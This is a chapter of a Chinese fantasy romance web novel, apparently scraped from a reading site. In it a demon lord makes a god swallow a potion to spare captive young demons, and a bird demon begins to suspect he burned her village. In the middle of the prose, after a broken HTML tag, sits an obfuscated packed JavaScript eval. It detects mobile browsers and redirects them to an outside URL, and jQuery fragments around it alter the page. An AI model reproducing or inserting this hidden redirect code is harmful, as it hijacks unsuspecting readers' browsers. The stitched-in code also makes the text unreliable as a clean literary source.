“来者是何人?”
“不像是魔族人,反倒像仙门中人。”
“仙门到咱这儿作甚?”
“……”
四周人言啧啧,喧吵不停。
来人却仍平静而淡然地站在半空中,白裳无风自动,如拢仙光。
清皎望向白影,脸色微变,眼底隐隐涌现几分羞愧,低下眼,不敢再看来人。
百里笙的嗓音在上空响起,掺杂了讽意:“魔族肃清内务,竟劳烦神君出面,令人惶恐。”
此话一出,一片寂然。
花浔也怔在原地。
神君?
那位仙山之上的先天之神?
如今天上地下,只有一人敢称为“神”。
翊圣昭惠神君,九倾。
花浔在人界近百年,没少见神君庙,便是大河村所在的镇上,也专门修了一座。
哪怕传闻神君闭关百年,不理供奉与祈求,神君庙的香火也极旺,朝拜者比肩接踵。
只是,花浔从未想到,有朝一日竟能望见神君真身。
“这些孩子,皆为无辜之辈,”神君的嗓音如远古钟鸣,带着幽幽回音,“枉死魂,即为天地殇,吾不能不理。”
百里笙笑开:“神君难道不知,生死有命,富贵在天?”说到此,他笑意微敛,“还是说,神君自觉为天命?”
神君神情未起波澜,温声道:“吾非天命,只维系天道法则,拨正因果承负。”
“这些孩子命数未尽,所承载的并非自身因果,更有师徒之份,父母之缘,稚儿之诺。魔尊擅动因果,天命难允。”
“神君对这些弱小的妖魔都心生怜悯,令人钦佩,”百里笙轻笑两声,飞身而起,徐徐飞到神君身前,与之对峙着,玄袍在风声中簌簌作响,“只可惜,神君这具分身不过十之一二的法力,大抵要失望而归了。”
分身?
花浔不由望向那白影,原来只是分身。
只是连分身都如此神圣高洁,不知真身该是何等的震慑人心。
“百里!”空中再次响起不安的女声,清皎抬眸,唤着百里笙的名字,“神君前来,自有其道理,你便饶过下方那些生灵罢。”
百里笙侧眸朝浮云阁望去,一袭仙裳的女子眼含焦切,倒是与当年如出一辙。
上清天那群仙人素来尊崇所谓神君,清皎亦不例外。
那时,每每提及这位神君,她必是眼含孺慕与敬仰,而对他不过一句“仙魔不两立”。
思及那些过往,又看向眼前长桑氏九倾一副“不染情欲、众生平等”的虚伪派头,百里笙不由嗤笑。
若说先前只想血恨,那么此刻,他却换了念头。
他想要换个玩法。
譬如,看仙门敬仰之神被玷污,看人族蝼蚁信仰轰然塌陷,看神跌落神坛,自此陨落成泥。
百里笙不由浅笑一声:“清皎仙子既然开口,饶过他们亦无不可。”
话中的纵容,透过长风,送入在场每个人的耳中。
众目睽睽之下,百里笙一摊手,赤光闪过,一枚青玉瓷瓶出现在他的掌心:“只要神君服下此物,本尊便放过他们,如何?”
清皎蓦地抬头,凝眉唤:“百里……”
“若不然,神君便回吧。”百里笙的声音冷了下来,“看来神君亦非诚心相救。”
下方妖魔隐隐传来哭泣与哀求之声,不断祈求着神明的庇护与舍身垂爱。
神君九倾的神情是亘古不变的平和,隐隐轻叹一声,他未曾犹疑,抬手将青玉瓷瓶接过,以宽袖掩面,微微仰首服下。
“神君……”清皎想要阻止,却已来不及。
但见神君神情与平时无异,心渐渐放下。
百里笙睨着九倾始终无波无澜的神情,冷笑着抬了抬手。
下方,行刑官立时跃下诛魔台,恭敬地守在一旁,魔兵上前,将被押解的小妖幼魔们一一释放。
一场屠杀渐渐消弭于无形。
神君见状,目光如宽广的海,看向浮云阁中的清皎:“可要随吾回上清天?”
清皎因神君主动开口而受宠若惊,她心知,若随神君回仙族,白玉京长老及师尊必不会过多苛责自己私自叛逃仙门一事。
可沉默几息后,清皎望了眼不远处的百里笙,白着脸摇头:“多谢神君照拂,清皎已决定留在此处。”
神君闻言颔首道“好”后再未停留,顷刻间化作一团夺目的金光,消散于原地。
众人仍处在一派沉寂之中,直到此刻方才久梦乍回般清醒。
花浔亦出神地看着神君消失的空中,那里仿佛还残留着细碎的星光。
可此刻再回忆神君的面貌,竟半点记不起来。
一时间,花浔有些惝恍。
直到那股熟悉的寒意再次席卷而来,花浔的妖丹也因察觉到危机而颤抖起来,她皱着眉抬头看过去,望见的却只有百里笙飞身正回身离去的身影。
反而是一旁的清皎仙子望见了她,精致的眉眼有些恍惚,察觉到她的回望,牵强一笑。
花浔睫毛颤了颤,心中突然一阵发虚与难堪。
就像霸占了鹊巢的鸤鸠,被人当众察觉一般。
明明她什么都没有做。
清皎仙子最终跟上了百里笙的身影。
花浔望着那二者的背影,良久收回视线,正要离去,余光却瞥见诛魔台上空正在吩咐魔兵将囚犯押解回去的商瞿。
她不知他是谁,却觉得莫名熟悉。
直到他飞身离去,衣袍翻动间,露出腰间银色令牌划过的冷光,花浔整个人僵在原地。
这抹银色冷光,她见过。
在大河村被烧的那晚,那个带着黑甲面具的魔族人身上。
*
清皎追上百里笙时,他已回到魔宫。
黑玉打造的宫殿上镶嵌着无数硕大的夜明珠,幽幽散发着明媚的光芒。
百里笙便坐在尊主的位子上,手指一下一下轻点着椅侧,见到她也未曾开口。
清皎心中一涩,想到以往自己若出现,他总会不经意收敛起周身的护体魔气,自主座上缓步走下。
而今……到底是不一样了。
“百里,今日之事,多谢。”清皎安静地走上前。
百里笙没有应声。
清皎紧抿粉唇,心知当年是自己骗他在先,又主动开口道:“神君今日并无插手魔族内务之意,此番神君出现,定有其深意。”
百里笙的指尖仍敲着椅侧,抬眸看向她:“清皎仙子以何身份替你口中的神君辩解?”
清皎想起百里笙一贯不喜神君,沉默几息后转移了话题:“当年救你之人,可是花浔姑娘?”
也难怪当初在翠岭山救下花浔姑娘时,她在她身上察觉到了熟悉的魔气。
百里笙的手指顿住,抬眸看着她:“想说什么?”
清皎盯着他的反应,胸口不知为何泛起一丝酸:“前段时日,你深夜去寻之人,可也是花浔姑娘?”
百里笙双眸骤暗,眼底隐隐浮现几缕赤色。
或许是过往十年养成的恶习,或许是那只小妖太过弱小以至于无法对他产生丝毫威胁,他竟然只有在那只叫花浔的小妖身边,才能安心小憩片刻。
他厌憎这一点。
而被旁人察觉到这一点,更令他难安。
“监视本尊?”
清皎见状,便知道自己猜对了,明眸中不禁流露出黯然。
这段时日,商瞿说为他护法,他不曾应下;以往他在自己身侧从不设防,如今周身的护体魔气再未散去。
如今,却可以在他素来瞧不上眼的客楼,与一位姑娘共处一室。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16548749|186353||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
清皎白着脸色问:“百里,你喜欢花浔姑娘吗?”
百里笙闻言只觉得万分荒诞:“喜欢?”说到此处,他甚至不由笑出声来:“你会喜欢你豢养的灵宠?”
一只鸟妖罢了,闲来无事充作鸟宠养来逗弄一番便好,和养在魔宫后山的妖兽宠物有何区别?
喜欢?简直可笑。
可笑完,那本该抛却在脑后的记忆,却蓦地钻入识海。
那时,他仍是个躺在病榻上的废人,盖着人界粗陋的被褥,因血肉被削,只得衣不蔽体,日复一日年复一年依赖着一只低微小妖的保护。
而有一日,那只小妖彻夜未归,他一人躺在那间鄙陋的小屋,新生的血肉粘连着青色被褥,无能且废物。
就在他以为她也像所有人一样抛下他逃之夭夭时,她一瘸一拐地回来了。
她不好意思地笑说,她采药时不小心自山上摔下,昏睡了过去。
蠢笨的小妖。
而他为了让她心甘情愿地照顾他、隐藏他的行踪,随口许下了一句诺言:
他日回魔宫,必不负你。
那时不过信口一说,过后他便忘却脑后。
眼下竟被人说,他喜欢那只小妖?
百里笙眸色沉沉,薄唇紧抿。
清皎见他神色不定,说道:“方才花浔姑娘随众人一齐看神君时,你瞧了她几眼,想来是我误会了。”
百里笙仍弯着唇角,眼底却乍然泛起凉意。
清皎静静地看着他,心中不知为何惴惴起来。
自重逢来,百里笙是嗜杀的,冷漠的,讽刺的,暴戾的……
可眼下他的神情,却带着一股陌生的拒人于千里之外的孤寂。
比当年他们初识时更甚。
清皎垂下眼帘,她知道自己缺席了十年,也知道百里笙心底怨她恨她,可谁说怨恨不是在意?
他既留她在魔宫,便足以说明,对她的恨意也好,其他情愫也罢,总归是超越了其他一切感情。
她相信,只要自己好生弥补,假以时日,他会看见自己的真心。
*
夜色沉沉。
永烬城的夜晚总是比白日热闹。
花浔六神无主地走在回客楼的路上,脑中一片杂乱。
大河村被烧那晚,戴着黑甲面具的魔族人,和今日百里笙身侧的属下不断交替涌现。
而他们腰间的那枚银色令牌,渐渐重叠在一切。
所以,真正下令烧毁山村的人,是百里笙?
甚至……那名黑甲人也曾险些对她痛下杀手。
百里笙要杀她。
这个念头乍然浮现,花浔的呼吸也随之一紧。
若是以往她还不知缘由,眼下在魔族见识到真正的百里笙后,她竟然猜到了原因。
因为她见过他最狼狈的样子,那个山村的存在,只会令他想到高高在上的他最弱小不堪的样子。
所以,毁便毁了。
“姑娘,您回来了?”店小二的声音传来。
花浔回过神,才发觉自己已回了客楼。
店小二笑着道:“您先前不是一直问城外的结界几时解除?”
“方才宫卫大人们来信了,明日一早便能解除。”
花浔的眼眸动了动,勉强弯了下唇:“多谢。”
店小二忙摆摆手。
花浔走上楼,边走边思索着,明日一早结界解除,自己也能离开了……
客房门“吱呀”一声推开,花浔朝嵌在房门的萤石注入一点法力,萤石被催动渐渐散发着光亮,映照着整间屋子。
“回了?”熟悉的嗓音温和响起,就如大河村的那十年,每晚她归家那般。
花浔猛地转身,在看见四方桌前端坐的玄色身影时,心中冒出的第一个念头竟是——
恐惧。